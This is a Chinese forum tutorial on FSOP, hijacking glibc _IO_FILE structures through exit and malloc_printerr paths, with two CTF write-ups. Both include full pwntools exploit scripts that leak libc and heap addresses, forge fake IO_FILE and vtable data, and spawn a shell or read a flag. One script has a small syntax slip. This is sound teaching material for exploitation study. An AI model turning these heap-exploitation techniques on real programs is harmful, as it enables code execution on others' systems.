首页
论坛
课程
招聘
[原创]IO_file劫持利用—fsop
2022-4-26 11:00 6424

[原创]IO_file劫持利用—fsop

2022-4-26 11:00
6424

前置知识

(1)IO_File相关知识:参考这个博客,写的真的很详细,~但是和利用毛关系都没有~

 

(2)fsop有关利用:感觉就没有几个师傅写了fsop的利用,个人感觉大师傅写的很好

 

(3)如何查找_IO_str_jumps:这个是为了绕过vtable的检查机制(好像是从2.24开始的),然而并没有libc.sym['_IO_str_jumps'],需要我们靠一点技巧去找

 

_IO_str_jumps指向很多函数,可以说是一个函数表,其内部0x20偏移处为_IO_str_underflow能够通过打印符号表查找到

 

 

同时通过search -p能够查找到存储指针的位置(即_IO_str_jumps内部)

 

一般来说是最下面那个,因为要比如下这个东西的地址更高

 

 

(4)house of orange

 

这个利用来源于2016年台湾举办的某个ctf的同名的题,主要是利用堆溢出,将top_chunk的size改小(为了不使用mmap分配堆块),然后申请一块比top_chunk大的堆块。这样就可把top_chunk放入unsorted bin

exit劫持

exit的调用路径

exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp->stderr->stderr+0xd8->......(省略的为io_list_all为头的链表及其调用)

利用思路

通过修改libc.sym['IO_2_1_stderr'] + 0x68为fake_io_file,达到劫持exit正常调用流程的目的。并且将fake_io_file的0xd8(即vtable)修改为_IO_str_jumps(2.24以后就有检查机制,之前的话可以修改为任意值)达到调用over_flow的目的,以此设置rdx寄存器的值并call malloc函数,结合提前修改malloc_hook为setcontext来实现堆上rop

其中有几个比较重要的汇编指令

 

将rbx寄存器置为stderr

 

 

stderr+0x68是chain,连入fake_io_file

 

 

把rax寄存器置为str_jumps

 

 

设置好参数准备跳转

 

 

rax为跳转到over_flow

 

 

设置rdx寄存器

 

例题

【bytectf2020】gun

exp

直接贴fmyy师傅的exp,其中涉及了srop,还没有学。。。不过改成正常的系统调用也可出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import*
context.arch = "amd64"
p = process('./gun')
libc =ELF('./libc-2.31.so')
 
def z():
    gdb.attach(p)
 
def menu(ch):
    p.sendlineafter('Action>',str(ch))
 
def new(size,content):
    menu(3)
    p.sendlineafter('price:',str(size))
    p.sendlineafter('Name:',content)
 
def load(index):
    menu(2)
    p.sendlineafter('load?',str(index))
 
def free(times):
    menu(1)
    p.sendlineafter('time: ',str(times))
 
 
p.sendlineafter('Your name: ','nameless')
 
##leak libc
for i in range(3):
    new(0x10,'') #0 1 2
new(0x420,'nameless') #3
new(0x420,'nameless') #4
new(0x10,'nameless') #5
load(4)
load(3)
free(2)
new(0x20,'') #3
load(3)
free(1)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))-0x1c502d-(libc.sym['__libc_start_main']+243)
log.info('LIBC:\t' + hex(libc_base))
 
##set libc_func
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
 
##leak heap
new(0x20,'F'*0x10 + '\n') #3
load(3)
free(1)
p.recvuntil('F'*0x10)
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x2C0 - 0x60
log.info('HEAP:\t' + hex(heap_base))
 
## set gadget
pop_rdi_ret = libc_base + 0x26B72
pop_rdx_r12 = libc_base + 0x11c1e1
pop_rsi_ret = libc_base + 0x27529
pop_rax_ret = libc_base + 0x4A550
 
## set libc_ables
jmp_rsi  = libc_base + 0x1105bd
syscall = libc_base + libc.sym['syscall']
target = libc_base + libc.sym['_IO_2_1_stdin_']
address = libc.sym['__free_hook'] + libc_base
IO_str_jumps = libc_base + 0x1ED560
Open = libc_base + libc.symbols["open"]
Read = libc_base + libc.symbols["read"]
Puts = libc_base + libc.symbols['puts']
free_hook = address
 
##set fake_io
IO  = '\x00'*0x28
IO += p64(heap_base + 0x360 + 0xE0) ##rdx
IO  = IO.ljust(0xD8,'\x00')
IO += p64(IO_str_jumps)
 
##
read = libc_base + libc.sym['read']
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = address
frame.rdx = 0x2000
frame.rsp = address
frame.rip = Read
orw  = p64(pop_rdi_ret)+p64(free_hook + 0xF8)
orw += p64(pop_rsi_ret)+p64(0)
orw += p64(Open)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rdx_r12) + p64(0x30) + p64(0)
orw += p64(pop_rsi_ret) + p64(free_hook+0x100)
orw += p64(Read)
orw += p64(pop_rdi_ret)+p64(free_hook+0x100)
orw += p64(Puts)
orw  = orw.ljust(0xF8,'\x00')
orw += './flag\x00\x00'
IO += str(frame)
 
##
for i in range(3):
    load(i)
free(3)
new(0x3E0,IO + '\n') #0
new(0x31,p64(0) + p64(0x21) + '\x00'*0x18 + p64(0x21) + '\n') #1
free(1)
load(1)
free(1)
new(0x31,p64(0) + p64(0x21) + p64(libc_base + libc.sym['_IO_2_1_stderr_'] + 0x68) + '\n')
new(0x10,'FMYY\n')
new(0x10,p64(heap_base + 0x360) + '\n')
load(1)
load(2)
free(2)
new(0x31,p64(0) + p64(0x21) + p64(malloc_hook) + '\n')
new(0x10,'FMYY\n')
new(0x10,p64(libc_base + libc.sym['setcontext'] + 61) + '\n')   
z()
menu(4)
 
p.sendlineafter('Goodbye!',orw)
p.interactive()

调试记录手扎

环境配置的是glibc_all_in_one下的2.31 9_版本

 

主要是调一调看看运行流程
下面是偏移,方便阅读的师傅调试

1
2
3
4
5
6
exit:0x7ffff7dfe0b5
__run_exit_handlers:0x7ffff7e20bdb
_IO_cleanup:0x7ffff7e20b30
_IO_flush_all_lockp:0x7ffff7e6cf04    +136处把RBX赋值为stderr,stderr+0x68为chain的位置,可以double free劫持它到fake_io ; +225 把rax设置为rbx+0xd8
_IO_str_overflow:0x7ffff7e6ccaf rdi==rbx
malloc:0x7ffff7e6dba8

malloc_printerr劫持

一般是和unsorted bin attack结合起来用,触发malloc error来fsop

利用路径

2.23

 

malloc->_int_malloc->__libc_message->abort->_IO_flush_all_lockp->system('/bin/sh')

 

2.24及以后

 

malloc->_int_malloc->__libc_message->abort->_IO_flush_all_lockp->over_flow->malloc_hook->setcontext

利用思路

首先让unsorted bin里有且仅有一个堆块(所以2.23可以结合house of orange 打)修改一个unsorted bin 里的堆块的bk指针为IO_list_all

 

并且利用堆溢出等手段修改该堆块的size为0x60(为啥后面会讲),然后malloc即可在把这个堆块放入smallbin之后触发malloc_error,进入_IO_flush_all_lockp

 

这里面的汇编啥的前面讲exit利用的时候详细记录过了

 

主要是这个rbx+0x68,一开始的rbx是main+88,加上0x68就是+198了,这个正好是small bin中0x60 size的chunk的表头,那么后续的mov rax,rbx+0xd8啥的就可以直接调用堆上预设的值了

 

还有一个需要注意的地方,伪造的fake_io,它的0x28位置要比0x20大,具体是因为io_file的结构如下

 

 

需要绕过

1
2
3
4
5
6
7
1.((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
 
或者是
2.
_IO_vtable_offset (fp) == 0
&& fp->_mode > 0
&& (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)

肯定第一种要好绕过一点

 

而且,通过io_flush_lock_up的源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;
#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif
  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      if (do_lock)
        _IO_flockfile (fp);
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))/*也可以绕过这个*/
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)/*遍历_IO_list_all ,选出_IO_FILE作为_IO_OVERFLOW的参数,执行函数*/
        result = EOF;
      if (do_lock)
        _IO_funlockfile (fp);
      run_fp = NULL;
    }
#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif
  return result;
}

发现如果一直绕不过这个检查,会从io_list_all一直往下取链表的成员,直至为0

 

这就是为啥俺一开始在gdb里调半天一直mov rbx,rbx+0x68直到为0的原因

例题

BUUOJ-house of orange

保护

ida

main

 

发现没有free函数,考虑使用house of orange 构造1个free的堆块,具体就是改写top_chunk(防止使用mmap分配内存),然后申请一个比它大的堆块,就会把top_chunk free

add

 

很寻常,不过限制了add个数为4。而且未初始化指针,可以leak_libc和heap

edit

 

也是限制了edit的个数为3,改写的大小是我们指定的,所以存在堆溢出

show

 

存在的意义就是为了leak

思路

模板题还写啥思路.......

 

~学了fsop和house of orange 还不会可以remake了~

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
context.log_level='debug'
##r=process('./orange')
r=remote('node4.buuoj.cn',26752)
libc=ELF('./libc-2.23.so')
 
def z():
    gdb.attach(r)
 
def cho(num):
    r.sendlineafter("Your choice : ",str(num))
 
def add(size,con):
    cho(1)
    r.sendlineafter('Length of name :',str(size))
    r.sendlineafter('Name :',con)
    r.sendlineafter('Price of Orange:','1')
    r.sendlineafter('Color of Orange:','1')
 
def edit(size,con):
    cho(3)
    r.sendlineafter("Length of name :",str(size)) 
    r.sendlineafter("Name:",con)
    r.sendlineafter("Price of Orange: ",'1')
    r.sendlineafter("Color of Orange: ",'1'
 
def show():
    cho(2)
 
##free_top_chunk
add(0x30,'nameless')
pd = 'a'*0x30 + p64(0) + p64(0x21) +'a'*16+ p64(0)+ p64(0xf80)
edit(len(pd)+1,pd)
add(0x1000,'nameless')
 
##leak_libc
add(0x400,'nameles')
show()
r.recvuntil("Name of house : ")
r.recvuntil('nameles\n')
libcbase=u64(r.recv(6).ljust(8,'\x00'))-0x3a4948-(libc.sym['__libc_start_main']+240)
 
##set lib_functions
_IO_list_all=libcbase+libc.sym['_IO_list_all']
system=libcbase+libc.sym['system']
 
##leak_heap
edit(0x400,'nameless'+'nameles')
show()
r.recvuntil("Name of house : ")
r.recvuntil('nameles\n')
heap=u64(r.recv(6).ljust(8,'\x00'))-0xe0
log.success('libcbase:'+hex(libcbase))
log.success('heap:'+hex(heap))
 
##fsop
pd='a'*0x400
pd+=p64(0)+p64(0x21)+p64(0x0000001f00000001)+p64(0)
fake_io='/bin/sh\x00'+p64(0x60)+p64(0)+p64(_IO_list_all-0x10)
fake_io+=p64(0)+p64(1)
fake_io=fake_io.ljust(0xc0,'\x00')
pd+=fake_io
pd+=p64(0)*3
pd+=p64(heap+0x5e8)
pd+=p64(0)*2+p64(system)
edit(0x800,pd)
##z()
cho(1)
r.interactive()

参考文献

fmyy师傅的博客
IO-file的详解
大师傅的FSOP利用


【看雪培训】《Adroid高级研修班》2022年夏季班招生中!

最后于 2022-4-26 11:17 被Nameless_a编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (1)
雪    币: 306
活跃值: 活跃值 (3276)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
suuuuu 活跃值 2022-4-27 10:02
2
0
火钳刘明
游客
登录 | 注册 方可回帖
返回